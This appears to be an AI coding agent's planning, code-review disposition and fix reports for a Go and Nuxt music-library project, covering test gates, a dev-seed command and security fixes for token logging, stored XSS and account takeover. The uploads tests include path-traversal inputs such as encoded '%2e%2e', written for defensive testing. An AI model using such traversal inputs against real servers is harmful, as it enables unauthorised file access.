status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "E2E_BACKEND=go switch contract: argv, cwd, fail-closed exits, runTinker throws, PHP path unchanged, auth.setup.ts seeds only in Go mode"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D7
|
||||
description: "check-phase14.2.sh --all: self-test, go, docs, parity 175/175, contracts, guard refusals, Go-gate Playwright 17/0/0/0 and go.log scan; last line Phase 14.2 gate passed"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "bash scripts/check-phase14.2.sh --all"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
|
||||
duration: 60min
|
||||
completed: 2026-10-11
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 14.2 Plan 04: Unit tests and the fail-closed phase gate Summary
|
||||
|
||||
**Every Go piece the phase added now fails a named test when it regresses: the seed's environment gate, shape and idempotency, the commands' own database, the local marker, the uploads mount and the access log. A Nuxt contract pins the `E2E_BACKEND=go` switch. `scripts/check-phase14.2.sh --all` runs all of it plus parity, the guard refusals and the Go-gate Playwright subset, and ends with `Phase 14.2 gate passed`.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 60 min (2026-10-11T21:06Z to 22:06Z)
|
||||
- **Tasks:** 3 (tracer, auto TDD, auto)
|
||||
- **Repos:** summercms.go (3 code commits), fonoteka.go (2), vue-fonoteka-app (1)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Seed tests (console package, shared testcontainer):**
|
||||
- `TestDevSeedRefusesProduction` needs no database: the refused environments return `refused in environment`, print nothing and publish no handle. `local` and `dev` get past the gate and fail on a closed port.
|
||||
- `TestDevSeedShape` checks the user flags and bcrypt hash, the context collection, three albums with one public PNG cover each whose blob is in the mem bucket, the wishlist, the rating, the token hash against the printed `inv_` secret and `search_use_typesense`. It also covers the `demo@example.com` / `changeme` fallback and `DEV_SEED_API_TOKEN` values without the prefix (`tok_…`, bare `inv_`, `INV_…`): each is refused with no row in any of nine tables. A value with the prefix is stored by its hash and never printed.
|
||||
- `TestDevSeedIdempotent`: the rerun prints the same entities, all `unchanged`, with no secret and no new row. A new `E2E_PASSWORD` prints only `user: updated`.
|
||||
- **Own-database tests (plugin root):** the four commands are taken from the plugin's own `Commands()` and run in fresh processes. Each publishes a `*gorm.DB` carrying the `fonoteka:album_artist_resolver` callback, which proves the `OnDatabase` hooks ran. None prints `database is not configured`. `TestDevMarkerRoute` covers local, dev, unset, production, development and testing, and reads `parity/manifest.yaml`.
|
||||
- **Framework tests (surf):**
|
||||
- `TestUploadsMount` uses its own Postgres container with `system_files` and a mem bucket.
|
||||
- `TestAccessLog` runs next to `TestAccessLogSmoke` with the `acme.blog` fixture and the in-package path locale resolver.
|
||||
- **Gate script:** every stage named in the plan. Self-test plants detector events, Playwright reports, Go logs and TAP summaries. The guard stage plants six refusal cases plus a passing control case.
|
||||
|
||||
## Gate result
|
||||
|
||||
```
|
||||
PASS self-test
|
||||
PASS go
|
||||
PASS docs
|
||||
PASS parity (recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0)
|
||||
PASS contracts (blocking: e2e-backend-switch 9/9; report only: pnpm test:contracts 287/288)
|
||||
PASS guard (php-port, internal-unset, mismatch, production, fake-php, other-marker refused; control passed)
|
||||
PASS e2e (Go gate expected=17 unexpected=0 skipped=0 flaky=0; D-15 report only expected=19 unexpected=22)
|
||||
Phase 14.2 gate passed
|
||||
```
|
||||
|
||||
## Task Commits
|
||||
|
||||
1. **Task 1 (tracer): the gate runs the seed refusal through the detector**
|
||||
- fonoteka.go `916d9cf` test(14.2-04): dev-seed refuses every environment but local and dev before opening anything
|
||||
- summercms.go `46eee17` test(14.2-04): check-phase14.2.sh runs the seed refusal through the skip-intolerant detector
|
||||
- Tracer gate: the verify passed, a re-run of `--all` passed (end-of-phase mode, automated verify), then I expanded.
|
||||
2. **Task 2: unit tests for the seed, the commands, the marker, uploads and the access log**
|
||||
- fonoteka.go `49af991` test(14.2-04): dev-seed shape and idempotency, own-database commands, local marker
|
||||
- summercms.go `2c5c058` test(14.2-04): uploads mount and access log unit tests; the uploads route owns its prefix
|
||||
3. **Task 3: Nuxt contract and the remaining gate stages**
|
||||
- vue-fonoteka-app `6d60e42` test(14.2-04): contract for the E2E_BACKEND=go seed switch
|
||||
- summercms.go `78d7241` test(14.2-04): check-phase14.2.sh docs, parity, contracts, guard and e2e stages
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See `key-decisions` in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
1. **[Rule 1 - Bug] A plugin route under the uploads prefix did not fail BuildRouter.**
|
||||
- **Found during:** Task 2, by `TestUploadsMount` (written first, failing).
|
||||
- **Issue:** only an identical `GET {prefix}/{path...}` pattern failed, and only later at `Assemble` (duplicate route). A plugin route like `/storage/uploads/avatars/{id}` was accepted and took over part of the uploads URL space.
|
||||
- **Fix:** `mountUploads` refuses any route at or under the prefix, so `BuildRouter` returns the error, as `checkAdminPrefix` does for the admin prefix. A sibling path (`/storage/uploadsx/…`) and the key off are unaffected. The surf README and docs/services/storage.md now say this. The real fonoteka binary still boots with the key on (`dev-stack.sh up` after the change).
|
||||
- **Files:** modules/surf/uploads.go, modules/surf/README.md, docs/services/storage.md. **Commit:** 2c5c058.
|
||||
2. **[Rule 3 - Blocking] `--contracts` scoped to the phase's own contract test.** The whole `pnpm test:contracts` suite fails 1 of 288 on `missing-catalog.test.mjs`, which predates this phase (deferred-items.md, plan 03). Following the coordinator's instruction, the blocking run is `node --test tests/contracts/e2e-backend-switch.test.mjs` with a strict TAP check: tests > 0, all pass, and no fail, skip, todo or cancel. The whole suite still runs, and its counts and the failing test name are printed, but it does not block. **Commit:** 78d7241.
|
||||
3. **[Rule 3 - Blocking] TMPDIR not forced into the fonoteka.go tree.**
|
||||
- **Issue:** with `TMPDIR=fonoteka.go/tmp/dev-stack/go-tmp` (the coordinator's instruction), the framework's `internal/build` scaffold tests and `TestWatchHelloWorkspaceRebuildLatency` failed. One scaffold test added a `use ./tmp/dev-stack/go-tmp/TestScaffoldCoreArtifacts…` line to `fonoteka.go/go.work`; I reverted it with `git checkout -- go.work` before any commit. A concurrent `go test ./...` in fonoteka.go also listed the build directories as packages.
|
||||
- **Fix:** the gate leaves TMPDIR to the caller (`PHASE142_TMPDIR` overrides). The Go tests do not need the on-device TMPDIR: their buckets live in `t.TempDir()`. `dev-stack.sh` already sets its own TMPDIR for the Go processes and for Playwright. Logged in deferred-items.md.
|
||||
4. **[Rule 2 - Missing coverage] `--go` tests the fonoteka plugin module too.** `go -C fonoteka.go test ./...` covers only the root module (`app`, `parity`, `scripts`). The plugin is a separate workspace module, so the stage also runs `go vet` and `go test ./...` in `plugins/golem15/fonoteka`.
|
||||
5. **[Rule 2 - Stronger evidence] Guard cases check the refusal reason, and a control case must pass.** Each planted case must exit non-zero and print a `refuse:` line naming its own reason (port 8422, unset, differ, not loopback, X-Powered-By: PHP, the summercms marker). A fake SummerCMS marker must pass the same guard. All cases run in `env -i`, so the developer's shell cannot change them.
|
||||
6. **[Plan text vs. behaviour] Raw `..` traversal is a ServeMux redirect, not a 404.** ServeMux answers a raw dot-dot path with a 307 to the cleaned path before any handler runs. The test therefore follows the redirect, requires a `Location` without `..`, and requires that the cleaned path is refused (404) with no blob bytes. Encoded traversal (`%2f`, `%2e%2e`, `%5c`) reaches the handler and gets a 404 with nosniff.
|
||||
|
||||
### Acceptance criterion not met as written
|
||||
|
||||
- **`grep -c 't.Skip' modules/surf/uploads_test.go` prints 1, not 0.**
|
||||
- The Postgres helper `uploadsGorm` calls `t.Skip` only under `-short`. The project's CLAUDE.md requires Docker-backed tests to skip under `-short`, and CLAUDE.md overrides the plan.
|
||||
- An unavailable Docker daemon is still a `t.Fatalf`, never a skip.
|
||||
- The gate never runs `-short`, and its detector refuses any skipped test or subtest (planted case `subtest-skip`).
|
||||
- `dev_stack_test.go` and `dev_marker_test.go` contain no `t.Skip`. They reach the existing `bootDB` helper, which skips under `-short` only.
|
||||
|
||||
**Total deviations:** 5 auto-fixed (1 bug, 2 blocking, 2 coverage), 1 plan-text clarification, 1 acceptance grep deviation driven by CLAUDE.md. **Impact:** one framework behaviour change (uploads prefix ownership), documented. No other production code changed.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **Vite cold start after a fresh `up`.** The first `--all` run came right after I restarted the stack, so the binary would include this plan's code. Its `--e2e` stage failed: `auth.setup.ts` got Nuxt's 500 page "Failed to fetch dynamically imported module …/layouts/public.vue", so 16 tests were skipped and `e2e-verdict` refused the run, as designed. go.log showed no 5xx. On the warm server the same specs passed 17/0/0/0, and the final `--all` run passed. The gate does not retry. Logged in deferred-items.md with options.
|
||||
- **D-15 report-only specs:** expected=19 unexpected=22 on Go. They are reported, not gated, per D-15. go.log had no 5xx and no `album search engine failed` after them.
|
||||
- **Pre-existing:** gofmt drift in `fonoteka.go/plugins/golem15/fonoteka/household_smoke_test.go`, out of scope.
|
||||
|
||||
## Verification
|
||||
|
||||
- `bash scripts/check-phase14.2.sh --all`: exit 0. Last line: `Phase 14.2 gate passed`.
|
||||
- `--go` covers `go vet ./...` and `go test ./... -count=1` in summercms.go (Docker), in the fonoteka.go root module and in the fonoteka plugin module. The named tests passed through the detector: console (4), plugin (5) and surf (3).
|
||||
- `shellcheck scripts/check-phase14.2.sh` is clean, and `bash -n` passes on it and on dev-stack.sh.
|
||||
- Plan acceptance greps pass, except the `t.Skip` grep noted above.
|
||||
- `git status` after the run:
|
||||
- fonoteka.go: only the other sessions' submodule pointers (feedback, golem, user). `go.work` is unchanged.
|
||||
- vue-fonoteka-app: clean.
|
||||
- summercms.go: only `.planning/state.json` and `.msd/` (other sessions), plus this plan's planning docs.
|
||||
|
||||
## Left running
|
||||
|
||||
The Go and Nuxt dev stack is up (`dev-stack.sh status`: Go on 127.0.0.1:8423, Nuxt on :3119). I restarted it once with `down` + `up --detach` so the binary includes this plan's framework change, and left it running.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
`/msd-verify-work 14.2` can use `bash scripts/check-phase14.2.sh --all`. The services must be up and the Nuxt server warm (load one page, or run `--e2e` twice after a fresh `up`). `14.2-VALIDATION.md` statuses are left for `/msd-validate-phase 14.2`, as the plan says.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
All created files exist. Commits: summercms.go 46eee17, 2c5c058, 78d7241. fonoteka.go 916d9cf, 49af991. vue-fonoteka-app 6d60e42.
|
||||
@@ -18,6 +18,7 @@ Repos: `fonoteka.go` (seed command, start script, dev env template, any Go fixes
|
||||
### Local data
|
||||
- **D-01:** Local data comes from `fonoteka migrate` followed by a new seed command. The Phase 20 `import:winter` runner is not pulled forward, and PHP data is not imported in this phase.
|
||||
- **D-02:** The seed is an application command, `fonoteka dev:seed` (final name at the planner's discretion), in the fonoteka plugin, not a framework seeder hook. It refuses to run unless the app environment is local/dev, and it is idempotent: a second run changes nothing. It creates:
|
||||
- *Amended 2026-10-12 (code review WR-05, accepted by the developer):* the seed, the backend marker route and `dev-stack.sh` accept `SUMMER_ENV=local` only; `dev` is refused because it is a common name for shared servers. The seed also refuses to modify an existing user it did not create (opt-in `DEV_SEED_RESET_EXISTING=1`) and a token row owned by another user.
|
||||
- a verified user;
|
||||
- an owned collection;
|
||||
- a few albums;
|
||||
@@ -46,6 +47,7 @@ Repos: `fonoteka.go` (seed command, start script, dev env template, any Go fixes
|
||||
- **D-10:** The marker is a route only the Go binary serves (an existing framework health/readiness route, or the smallest new one) that stays **outside the parity manifest**. No manifest route's response changes, and no new header is added to API responses.
|
||||
- **D-11:** `vue-fonoteka-app` may receive **small non-breaking changes** (user's decision). The constraint: the app must still run without issues against the PHP backend. Gaps found during the session are fixed in Go first, with a parity case added where a recorded PHP response exists. An app change is acceptable only when it leaves PHP behavior unchanged (for example an env-switched test helper, a new backend-agnostic spec, or docs and `.env.example` notes). Commits in `vue-fonoteka-app` go to its own repo, which is a submodule of the PHP `fonoteka` repo.
|
||||
- **D-12:** Failures show up through the Go request log, which is redacted by sunscreen and records each request's path and status, and through Nuxt's normal behavior. The script tees both processes into labeled log files, and the run docs say to watch them for 4xx/5xx and 404 responses. No 404 tally or dev-only error UI is added.
|
||||
- *Amended 2026-10-12 (code review WR-01, accepted by the developer):* the Go request log never records the URL path, not even for unmatched requests, because share and invitation tokens travel in paths. It records method, matched pattern, status and duration. An unported route shows as `status=404 pattern=""`; take the path from the browser network tab.
|
||||
|
||||
### Flow proof
|
||||
- **D-13:** The flows are proven twice:
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
---
|
||||
phase: 14.2
|
||||
review: 14.2-REVIEW.md
|
||||
titles: json
|
||||
findings:
|
||||
- id: WR-01
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "Access log writes share and invitation tokens for 405 and 404 responses on token routes"
|
||||
- id: WR-02
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "499 remap hides real server errors whenever the client has gone away"
|
||||
- id: WR-03
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "Uploads route serves the stored content type verbatim on the app origin (stored XSS via text/html)"
|
||||
- id: WR-04
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "`storage.uploads.public_path_prefix` is not validated: a non-path prefix either fails boot or silently 404s every upload"
|
||||
- id: WR-05
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "`fonoteka:dev-seed` takes over existing accounts and tokens behind a single environment-name gate"
|
||||
- id: WR-06
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "Minted API token secret persisted to a group/world-readable file and echoed into Playwright output"
|
||||
- id: WR-07
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "Phase gate `--e2e` can verify a stale binary"
|
||||
- id: WR-08
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "go.log 5xx scan passes when the access log is off"
|
||||
- id: WR-09
|
||||
severity: warning
|
||||
disposition: fixed
|
||||
title: "Realtime spec accepts any publication on the channel, including another spec's"
|
||||
- id: IN-01
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Env file parser exports arbitrary keys, so \"never executed\" is not quite true"
|
||||
- id: IN-02
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Postgres loopback check can be bypassed by `hostaddr` or a query `host`"
|
||||
- id: IN-03
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "`down` signals recorded process groups without checking they are still this stack's"
|
||||
- id: IN-04
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Seed validates `DEV_SEED_API_TOKEN` only after writing cover blobs, leaving orphans on refusal"
|
||||
- id: IN-05
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Seed's token \"unchanged\" check ignores expiry and scopes"
|
||||
- id: IN-06
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "`marker_ok` does not check the app name"
|
||||
- id: IN-07
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "statusRecorder records a 1xx informational status as the final status"
|
||||
- id: IN-08
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Gate header overstates what the whole-suite Go runs check"
|
||||
- id: IN-09
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Hard-coded absolute developer path in a framework script"
|
||||
- id: IN-10
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Search spec relies on the \"other\" album appearing on the first page after clearing"
|
||||
- id: IN-11
|
||||
severity: info
|
||||
disposition: open
|
||||
title: "Test cleanups ignore errors; `goDir` mis-resolves a relative `E2E_GO_BIN`"
|
||||
open: 11
|
||||
total: 20
|
||||
recorded: 2026-10-12T10:23:19.844Z
|
||||
---
|
||||
|
||||
# Phase 14.2: Code Review Disposition
|
||||
|
||||
| Finding | Severity | Disposition | Source |
|
||||
|---------|----------|-------------|--------|
|
||||
| WR-01 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-02 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-03 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-04 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-05 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-06 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-07 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-08 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| WR-09 | warning | fixed | 14.2-REVIEW-FIX.md |
|
||||
| IN-01 | info | open | - |
|
||||
| IN-02 | info | open | - |
|
||||
| IN-03 | info | open | - |
|
||||
| IN-04 | info | open | - |
|
||||
| IN-05 | info | open | - |
|
||||
| IN-06 | info | open | - |
|
||||
| IN-07 | info | open | - |
|
||||
| IN-08 | info | open | - |
|
||||
| IN-09 | info | open | - |
|
||||
| IN-10 | info | open | - |
|
||||
| IN-11 | info | open | - |
|
||||
|
||||
Dispositions: `open` (recorded, not yet triaged), `fixed`, `skipped`, `deferred`.
|
||||
Set `deferred` by hand and put the reason in the Source cell; both are preserved. A `|` in the reason is kept as prose and escaped on the next run.
|
||||
Re-running the gate keeps every row it can. A row the current review no longer reports is kept and its Source cell flagged, so a finding does not leave this record silently. ONE exception: when a finding id is REUSED by a different finding, the earlier decision cannot keep a row — the id is taken — and it is dropped. A RECORDED decision (anything but `open`) is named on the console when that happens; a row still at `open` is replaced silently, because `open` records no decision to lose.
|
||||
@@ -0,0 +1,150 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
fixed_at: 2026-10-12T10:20:00Z
|
||||
review_path: .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-REVIEW.md
|
||||
iteration: 1
|
||||
findings_in_scope: 9
|
||||
fixed: 9
|
||||
skipped: 0
|
||||
status: all_fixed
|
||||
---
|
||||
|
||||
# Phase 14.2: Code Review Fix Report
|
||||
|
||||
**Fixed at:** 2026-10-12T10:20:00Z
|
||||
**Source review:** .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-REVIEW.md
|
||||
**Iteration:** 1
|
||||
|
||||
**Summary:**
|
||||
- Findings in scope: 9 (WR-01 to WR-09; Info findings were out of scope)
|
||||
- Fixed: 9
|
||||
- Skipped: 0
|
||||
|
||||
Commits went to the repository that owns each file. Repositories: `summercms.go` (framework), `fonoteka.go` (app), `vue-fonoteka-app`. `workflow.use_worktrees` is `false`, so every edit and commit was made in the main checkouts.
|
||||
|
||||
## Fixed Issues
|
||||
|
||||
### WR-01: Access log writes share and invitation tokens for 405 and 404 responses on token routes
|
||||
|
||||
**Files modified:** `modules/surf/accesslog.go`, `modules/surf/accesslog_test.go`, `modules/surf/README.md`, `docs/services/logging.md`; fonoteka.go `README.md`
|
||||
**Commits:** summercms.go `fbcfaaf`; fonoteka.go `560bb3e`
|
||||
**Applied fix:** The request log no longer logs the URL path, not even for an unmatched request. It records `method`, `pattern` (empty when unmatched), `status` and `duration_ms`. New test cases: `POST /blog/posts/<secret>` (405) and `/blog/posts/<secret>/` (404). Both assert that the secret and the path are absent. The docs and the fonoteka README say that the Go log never shows a path.
|
||||
|
||||
### WR-02: 499 remap hides real server errors whenever the client has gone away
|
||||
|
||||
**Files modified:** `modules/surf/accesslog.go`, `modules/surf/router.go`, `modules/surf/accesslog_test.go`, `modules/surf/README.md`, `docs/services/logging.md`, `scripts/check-phase14.2.sh`
|
||||
**Commit:** summercms.go `c30145e`
|
||||
**Status:** fixed: requires human verification (logic change)
|
||||
**Applied fix:** A 5xx is logged as 499 only when both of these hold:
|
||||
- The request context had already ended with `context.Canceled` when the status was written. `statusRecorder` checks this at the first `WriteHeader`/`Write`.
|
||||
- The handler did not panic. `recoverJSON` and `recoverBare` now mark the access entry through `markPanicked`.
|
||||
|
||||
A 5xx written before the client went away keeps its real status. A recovered panic is always 500. Every record of a request whose client went away carries `client_gone=true`. The handler's own error is not visible to the log. The heuristic "cancelled before the status was written" therefore stands in for "the error is the cancellation". A real error that happens after cancellation and does not panic would still log 499. That case needs a cancelled context, so it is narrow.
|
||||
|
||||
Tests cover seven cases:
|
||||
- cancel, then 5xx
|
||||
- live 5xx
|
||||
- 5xx, then cancel
|
||||
- 200, then cancel
|
||||
- `recoverJSON` 5xx after cancel
|
||||
- panic after cancel, through `recoverJSON`
|
||||
- panic after cancel, through `recoverBare`
|
||||
|
||||
A gate self-test plants `status=500 ... client_gone=true` and checks that `scan_go_log` refuses it.
|
||||
|
||||
### WR-03: Uploads route serves the stored content type verbatim on the app origin (stored XSS via text/html)
|
||||
|
||||
**Files modified:** `modules/surf/uploads.go`, `modules/surf/uploads_test.go`, `modules/surf/README.md`, `docs/services/storage.md`, `docs/setup/configuration.md`
|
||||
**Commit:** summercms.go `41a03b9`
|
||||
**Applied fix:** Every uploads response now carries `X-Content-Type-Options: nosniff` and `Content-Security-Policy: default-src 'none'; img-src 'self'; media-src 'self'; sandbox`. A successful response whose type is not a raster image (jpeg, png, gif, webp, avif) gets `Content-Disposition: attachment`, on GET and HEAD. That covers HTML, SVG, PDF, text and a missing type. Error responses get no disposition. The disposition is decided when the status is written, after `attach.StaticHandlerPublic` set the type.
|
||||
|
||||
Tests:
|
||||
- `TestUploadsResponseHeaders` (no Docker) runs a type matrix on GET and HEAD.
|
||||
- `TestUploadsMount` (Docker) now stores a public `text/html` blob and asserts it is served as an attachment, while the png stays inline.
|
||||
|
||||
Checked live: a seeded `.jpg` cover is served through Nuxt as `200 image/jpeg` with the CSP and no disposition. The docs' "nosniff prevents HTML" claim is corrected.
|
||||
|
||||
### WR-04: `storage.uploads.public_path_prefix` is not validated: a non-path prefix either fails boot or silently 404s every upload
|
||||
|
||||
**Files modified:** `modules/surf/uploads.go`, `modules/surf/uploads_test.go`, `modules/surf/README.md`, `docs/services/storage.md`
|
||||
**Commit:** summercms.go `01d2548`
|
||||
**Applied fix:** A new function, `uploadsPrefix`, validates the prefix when `storage.uploads.serve` is on. It refuses:
|
||||
- a missing leading slash
|
||||
- a scheme or host
|
||||
- `//`
|
||||
- `{` or `}`
|
||||
- `?` or `#`
|
||||
- whitespace or a backslash
|
||||
- an empty, `.` or `..` segment
|
||||
- a bare `/`
|
||||
|
||||
The error names `storage.uploads.public_path_prefix` and says "absolute URL path". Test cases include `storage/uploads`, `storage/app/uploads/public`, `https://cdn.example.com/uploads` and `//cdn...`. Valid prefixes with a trailing slash or surrounding spaces pass. A CDN prefix also passes while `serve` is off.
|
||||
|
||||
### WR-05: `fonoteka:dev-seed` takes over existing accounts and tokens behind a single environment-name gate
|
||||
|
||||
**Files modified:** fonoteka.go `plugins/golem15/fonoteka/console/dev_seed.go`, `console/dev_seed_test.go`, `dev_marker.go`, `dev_marker_test.go`, `plugin.go`, `scripts/dev-stack.sh`, `.env.dev.example`, `README.md`; summercms.go `scripts/check-phase14.2.sh`
|
||||
**Commits:** fonoteka.go `389a059`; summercms.go `8b835f3`
|
||||
**Status:** fixed: requires human verification (behaviour change: `dev` is no longer accepted)
|
||||
**Applied fix:**
|
||||
- **Existing user:** a user with `E2E_EMAIL` and no `dev-seed-mcp` API token row (live or revoked) is one the seed did not create. The seed now refuses it before writing anything, unless `DEV_SEED_RESET_EXISTING=1`. The seed creates the user and the token in one transaction, so the token reliably marks seeded users. dev-stack.sh does not set the opt-in. The local demo user already carries the marker, so `up` reported `user: unchanged`.
|
||||
- **Fixed token:** a `DEV_SEED_API_TOKEN` row owned by another user is refused and never reassigned. The error names the token id, never the secret. The update path no longer writes `user_id`.
|
||||
- **Environment:** `console.DevEnvironment` accepts `local` only. The seed, the marker route (which shares it) and dev-stack.sh `load_env` all refuse `dev`. It is documented as a common name for a shared server. The running stack was already `env: local`.
|
||||
- **Tests:** the new `TestDevSeedRefusesForeignRows` covers a foreign user (opt-in values "", 0, yes, true are refused; password and must_change_password are untouched; the counts do not change; `=1` takes the user over and later runs need no opt-in) and a token row owned by another user. `TestDevSeedRefusesProduction` and `TestDevMarkerRoute` now expect `dev` to be refused. The gate's `CONSOLE_REQUIRE` lists the new test.
|
||||
|
||||
The reviewer also suggested a seed-side check that the DSN host is loopback. It was not added: dev-stack.sh already enforces it, and the guidance for this fix did not require it.
|
||||
|
||||
### WR-06: Minted API token secret persisted to a group/world-readable file and echoed into Playwright output
|
||||
|
||||
**Files modified:** fonoteka.go `scripts/dev-stack.sh`, `README.md`; vue-fonoteka-app `tests/e2e/helpers/runTinker.ts`, `tests/contracts/e2e-backend-switch.test.mjs`; summercms.go `scripts/check-phase14.2.sh`
|
||||
**Commits:** fonoteka.go `a5527e9`; vue-fonoteka-app `70eba9e`; summercms.go `bb5c2d3`
|
||||
**Applied fix:**
|
||||
- **dev-stack.sh:** `seed()` removes `seed.out`, then writes the seed output to it under `umask 077` (mode 600; the old file was 664 and `tee` would have kept that mode). The terminal gets the output through `redact_seed`, which replaces `created <secret> (shown once)`. A new `redact-seed` subcommand exposes the filter.
|
||||
- **runTinker.ts:** the seed runs with `stdio: ['ignore', 'pipe', 'inherit']`, and stdout is echoed through the exported `redactSeedOutput`. The secret is also scrubbed from the thrown error's stdout and message.
|
||||
- **Tests:** the contract test plants a secret in a fake seed and asserts it never reaches stdout or stderr (it failed before the fix). The gate self-test pipes a planted token line through `redact-seed`, and `--e2e` refuses unless `seed.out` has mode 600. After the restart it was 600.
|
||||
|
||||
### WR-07: Phase gate `--e2e` can verify a stale binary
|
||||
|
||||
**Files modified:** fonoteka.go `scripts/dev-stack.sh`, `README.md`; summercms.go `scripts/check-phase14.2.sh`
|
||||
**Commits:** fonoteka.go `45ee468`; summercms.go `3159bc1`
|
||||
**Applied fix:**
|
||||
- **Build stamp:** `up` creates `build.stamp.pending` before `summer build`. Once Go answers, it moves the file to `tmp/dev-stack/build.stamp`, so the stamp's mtime is the moment the build started. `down` removes the stamp.
|
||||
- **`fresh` subcommand:** refuses a missing stamp, or any file of the app or framework checkout newer than the stamp. It ignores .git, node_modules, testdata, .planning, .claude, .msd, tmp, storage, bin, parity, the framework's admin, docs and scripts, `*.md`, `*_test.go` and `*.golden`.
|
||||
- **Already-up stack:** `up` on a stack that is already running warns when it is stale.
|
||||
- **Gate:** `--e2e` restarts a running stack that `fresh` refuses (`down`, then `up --detach`, left running) and requires `fresh` to pass after `up`. The self-test plants an app and framework tree with five cases: clean, ignored files, a stale framework source, a stale app source and no stamp.
|
||||
|
||||
### WR-08: go.log 5xx scan passes when the access log is off
|
||||
|
||||
**Files modified:** summercms.go `scripts/check-phase14.2.sh`; fonoteka.go `scripts/dev-stack.sh`, `README.md`
|
||||
**Commits:** summercms.go `1fb3fb9`, `f70a0a5`, `a082a05`; fonoteka.go `261d9bc`
|
||||
**Applied fix:**
|
||||
- **Scan:** `scan_go_log FILE OFFSET` still refuses a 5xx or a search-failure line anywhere in the file. It now also refuses unless the part written during this run has an `http request` record. `--e2e` takes the offset after `up`/`fresh`.
|
||||
- **dev-stack.sh:** `check_keys` defaults `SUMMER_HTTP__ACCESS_LOG` and `SUMMER_STORAGE__UPLOADS__SERVE` to `true` when they are unset, and refuses any other value.
|
||||
- **Self-tests:** no records, an empty log, records only before the offset, records after the offset, a long log, and planted env files with the request log or the uploads route off.
|
||||
- **Follow-up `a082a05`:** the first version (`tail | grep -q` under `pipefail`) wrongly refused a long go.log that did have records: grep stopped at the first match and tail died of SIGPIPE. The gate run found it. The check now counts matches, and a 20000-line self-test case covers it.
|
||||
|
||||
### WR-09: Realtime spec accepts any publication on the channel, including another spec's
|
||||
|
||||
**Files modified:** vue-fonoteka-app `tests/e2e/realtime.spec.ts`
|
||||
**Commit:** vue-fonoteka-app `4d8d525`
|
||||
**Status:** fixed: requires human verification (test logic)
|
||||
**Applied fix:** The spec takes a snapshot of `received.length` before `createAlbum`. The assertion then accepts only later frames on the channel whose `push.pub.data.payload.id` equals the created album's id. Both backends publish the `{event, payload, timestamp}` envelope (UAT Finding C; Go `AlbumBroadcastPayload`). It passed in the gate run. It was not shown failing before the fix, because the false pass depends on timing across parallel specs.
|
||||
|
||||
## Verification
|
||||
|
||||
Gates ran in the main checkouts of all three repositories (no worktree), with Go on 127.0.0.1:8423 and Nuxt on :3119.
|
||||
|
||||
- After the Go changes, the stack was restarted with `scripts/dev-stack.sh down` and then `up --detach` in fonoteka.go. The seed showed every entity `unchanged` and the token line `unchanged (secret not shown)`. The new `build.stamp` was written and `fresh` passed. Nuxt was warmed up with requests to /en, /en/albums, /en/login and /pl.
|
||||
- **First `--all`:** every stage up to guard passed, then e2e failed. `auth.setup` timed out waiting to leave /login: the backend answered `POST /login` 200 and the post-login API calls 200, so this was Nuxt compiling the first post-login page cold, not a code failure. `--e2e` alone then passed with 17 expected and nothing unexpected, skipped or flaky.
|
||||
- **Second `--all`:** e2e failed on the WR-08 SIGPIPE bug described above. It was fixed in `a082a05`.
|
||||
- **Final `bash scripts/check-phase14.2.sh --all`:** every stage passed, from self-test, go (vet and full `go test ./...` with Docker in summercms.go, the fonoteka.go root and the fonoteka plugin) and docs, through parity (175/175), contracts (10/10 blocking) and guard, to e2e (17/0/0/0).
|
||||
- **Report-only results:** specs 19 expected and 22 unexpected; `pnpm test:contracts` fails 1 of 289. Both are the same as before the fixes (earlier reports `e2e-20261011T213918Z`/`T215650Z`; `missing-catalog` is in deferred-items).
|
||||
|
||||
Last gate line: `Phase 14.2 gate passed`
|
||||
|
||||
The stack is still running (`dev-stack.sh status`: marker on Go and through :3119).
|
||||
|
||||
---
